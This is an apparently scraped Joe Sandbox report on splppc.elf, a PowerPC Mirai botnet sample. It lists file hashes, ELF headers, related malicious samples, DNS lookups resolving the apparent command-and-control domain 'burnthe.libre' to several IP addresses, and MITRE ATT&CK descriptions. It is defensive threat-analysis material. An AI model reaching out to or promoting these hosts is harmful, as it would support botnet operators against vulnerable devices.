EMPOWERUS	mips.elf	Get hash	malicious	Mirai	Browse	209.204.44.94
	sora.x86.elf	Get hash	malicious	Mirai	Browse	209.204.44.89
	ObGionhP0q.elf	Get hash	malicious	Mirai, Moobot	Browse	209.204.56.98
	pO3h7jitls.elf	Get hash	malicious	Mirai	Browse	209.204.56.89
	fRnFgXrqBZ	Get hash	malicious	Mirai	Browse	209.204.56.87
	Xh6uAuGPCi	Get hash	malicious	Mirai	Browse	209.204.44.69
	EoShcbdRhO	Get hash	malicious	Unknown	Browse	209.204.44.77
	SecuriteInfo.com.Linux.Mirai.1503.4332.2204	Get hash	malicious	Unknown	Browse	209.204.39.169
	arm7	Get hash	malicious	Unknown	Browse	69.173.204.172
	Fq6OoSbFnJ	Get hash	malicious	Mirai	Browse	209.204.37.190

Process:	/tmp/splppc.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	267
Entropy (8bit):	3.12089533850428
Encrypted:	false
SSDEEP:	3:MVHBA9FQWUT5FFNFHeoY/VVQFFQWUT5FFNFEt2/b/VVdf/FVXKfwuv/VVdf/FVU8:MHtDFuoY/V7DF0to/VfKoO/VNfiY/VH
MD5:	58ACD46BAC3C12F7B8AA65EDE9E62424
SHA1:	E6E947052E6E872476816767072097BA419CDC3A
SHA-256:	FDC45A08CE04C06557E59B80BEED0BDD618AC99658F12B1BECFE0C6441908777
SHA-512:	05A4BB8D9484A47E9CE5D9040F74B23FB8C2F7CE602B335CFEA3E6E5C0FC6ACB65AB9E57EAC29648D4BF9C94073928F1805516CEBC575B12A26C7D16CF0AC05D
Malicious:	false
Reputation:	low
Preview:	10000000-1000f000 r-xp 00000000 fd:00 531606 /tmp/..1001e000-1001f000 rw-p 0000e000 fd:00 531606 /tmp/..1001f000-10021000 rw-p 00000000 00:00 0 .ff7fe000-ff7ff000 ---p 00000000 00:00 0 .ff7ff000-fffff000 rw-p 00000000 00:00 0 [stack].

Process:	/tmp/splppc.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	267
Entropy (8bit):	3.12089533850428
Encrypted:	false
SSDEEP:	3:MVHBA9FQWUT5FFNFHeoY/VVQFFQWUT5FFNFEt2/b/VVdf/FVXKfwuv/VVdf/FVU8:MHtDFuoY/V7DF0to/VfKoO/VNfiY/VH
MD5:	58ACD46BAC3C12F7B8AA65EDE9E62424
SHA1:	E6E947052E6E872476816767072097BA419CDC3A
SHA-256:	FDC45A08CE04C06557E59B80BEED0BDD618AC99658F12B1BECFE0C6441908777
SHA-512:	05A4BB8D9484A47E9CE5D9040F74B23FB8C2F7CE602B335CFEA3E6E5C0FC6ACB65AB9E57EAC29648D4BF9C94073928F1805516CEBC575B12A26C7D16CF0AC05D
Malicious:	false
Reputation:	low
Preview:	10000000-1000f000 r-xp 00000000 fd:00 531606 /tmp/..1001e000-1001f000 rw-p 0000e000 fd:00 531606 /tmp/..1001f000-10021000 rw-p 00000000 00:00 0 .ff7fe000-ff7ff000 ---p 00000000 00:00 0 .ff7ff000-fffff000 rw-p 00000000 00:00 0 [stack].

File type:	ELF 32-bit MSB executable, PowerPC or cisco 4500, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.314970557563373
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	splppc.elf
File size:	60'552 bytes
MD5:	2f7cb04d730a0afa9e0de4a7be2c6cf7
SHA1:	92ab523534b9045b99552dd413195bd2acc9c5e2
SHA256:	b39dcd201b876f7259aa123eb70b08d532754623a5f9ab41d9af8fce2931ce40
SHA512:	5fe11467355f3e775240956270fb8f79d2c955e69de72659ca0def37f08b39674ade144aac242360485d7fe9b403f7ed2bd96b1e088d46638b0280da3a467c08
SSDEEP:	1536:Hms5E+IpQcqHyejkKNu4fNi2oAQFpZXT3bsRh:HtNJHKFXXT3A
TLSH:	DB434B4272084D57C5975570293F16E1C3BFAAA021F4B3CAB90EAB6E46B6E331047F9C
File Content Preview:	.ELF...........................4.........4. ...(....................................................................dt.Q.............................!..\|......$H...H......$8!. \|...N.. .!..\|.......?.............../...@..\?........+../...A..$8...})......N..

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	PowerPC
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x100001f0
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	60032
Section Header Size:	40
Number of Section Headers:	13
Header String Table Index:	12

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x10000094	0x94	0x24	0x0	0x6	AX	4
.text	PROGBITS	0x100000b8	0xb8	0xd814	0x0	0x6	AX	4
.fini	PROGBITS	0x1000d8cc	0xd8cc	0x20	0x0	0x6	AX	4
.rodata	PROGBITS	0x1000d8ec	0xd8ec	0xfbc	0x0	0x2	A	4
.ctors	PROGBITS	0x1001e8ac	0xe8ac	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x1001e8b4	0xe8b4	0x8	0x0	0x3	WA	4
.jcr	PROGBITS	0x1001e8bc	0xe8bc	0x4	0x0	0x3	WA	4
.data	PROGBITS	0x1001e8c0	0xe8c0	0x148	0x0	0x3	WA	8
.sdata	PROGBITS	0x1001ea08	0xea08	0x28	0x0	0x3	WA	4
.sbss	NOBITS	0x1001ea30	0xea30	0x6c	0x0	0x3	WA	4
.bss	NOBITS	0x1001ea9c	0xea30	0x112c	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0xea30	0x50	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x10000000	0x10000000	0xe8a8	0xe8a8	6.3589	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0xe8ac	0x1001e8ac	0x1001e8ac	0x184	0x131c	0.8937	0x6	RW	0x10000	.ctors .dtors .jcr .data .sdata .sbss .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Nov 27, 2024 01:26:54.066543102 CET	202.61.197.122	192.168.2.23	0xf173	No error (0)	burnthe.libre	154.213.187.214	A (IP address)	IN (0x0001)	false
Nov 27, 2024 01:26:54.066543102 CET	202.61.197.122	192.168.2.23	0xf173	No error (0)	burnthe.libre	154.213.187.247	A (IP address)	IN (0x0001)	false
Nov 27, 2024 01:26:54.066543102 CET	202.61.197.122	192.168.2.23	0xf173	No error (0)	burnthe.libre	154.213.187.245	A (IP address)	IN (0x0001)	false
Nov 27, 2024 01:26:54.066543102 CET	202.61.197.122	192.168.2.23	0xf173	No error (0)	burnthe.libre	154.213.187.249	A (IP address)	IN (0x0001)	false
Nov 27, 2024 01:26:54.066543102 CET	202.61.197.122	192.168.2.23	0xf173	No error (0)	burnthe.libre	154.213.187.213	A (IP address)	IN (0x0001)	false
Nov 27, 2024 01:26:54.066543102 CET	202.61.197.122	192.168.2.23	0xf173	No error (0)	burnthe.libre	154.213.187.242	A (IP address)	IN (0x0001)	false
Nov 27, 2024 01:26:54.066543102 CET	202.61.197.122	192.168.2.23	0xf173	No error (0)	burnthe.libre	154.213.187.248	A (IP address)	IN (0x0001)	false

Start time (UTC):	00:26:51
Start date (UTC):	27/11/2024
Path:	/tmp/splppc.elf
Arguments:	/tmp/splppc.elf
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Start time (UTC):	00:26:52
Start date (UTC):	27/11/2024
Path:	/tmp/splppc.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report splppc.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.0Q5EAj (deleted)

/tmp/qemu-open.0ULB5h (deleted)

/tmp/qemu-open.0YaeCh (deleted)

/tmp/qemu-open.0vaxJi (deleted)

/tmp/qemu-open.0xkCnl (deleted)

/tmp/qemu-open.1ejgrh (deleted)

/tmp/qemu-open.1qNPlj (deleted)

/tmp/qemu-open.1rhCOj (deleted)

/tmp/qemu-open.2YKO3i (deleted)

/tmp/qemu-open.2oN8xi (deleted)

/tmp/qemu-open.3Ebsvj (deleted)

/tmp/qemu-open.4Um50j (deleted)

/tmp/qemu-open.4XFdmh (deleted)

/tmp/qemu-open.4lRVoh (deleted)

/tmp/qemu-open.56o6jl (deleted)

/tmp/qemu-open.5L5jei (deleted)

/tmp/qemu-open.5yGVYk (deleted)

/tmp/qemu-open.64k8tl (deleted)

/tmp/qemu-open.67Zsuj (deleted)

/tmp/qemu-open.6X4Pwi (deleted)

/tmp/qemu-open.6xnVgk (deleted)

/tmp/qemu-open.70M5dk (deleted)

/tmp/qemu-open.7pZYYk (deleted)

/tmp/qemu-open.8CyqCh (deleted)

/tmp/qemu-open.8RDYjh (deleted)

/tmp/qemu-open.91900h (deleted)

/tmp/qemu-open.9Dmeuj (deleted)

/tmp/qemu-open.9TUz8g (deleted)

/tmp/qemu-open.9UsDql (deleted)

/tmp/qemu-open.A2TUei (deleted)

/tmp/qemu-open.AE5nlk (deleted)

/tmp/qemu-open.B3IJgk (deleted)

/tmp/qemu-open.B5gLhi (deleted)

/tmp/qemu-open.BEPHti (deleted)

Linux Analysis Report
splppc.elf

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre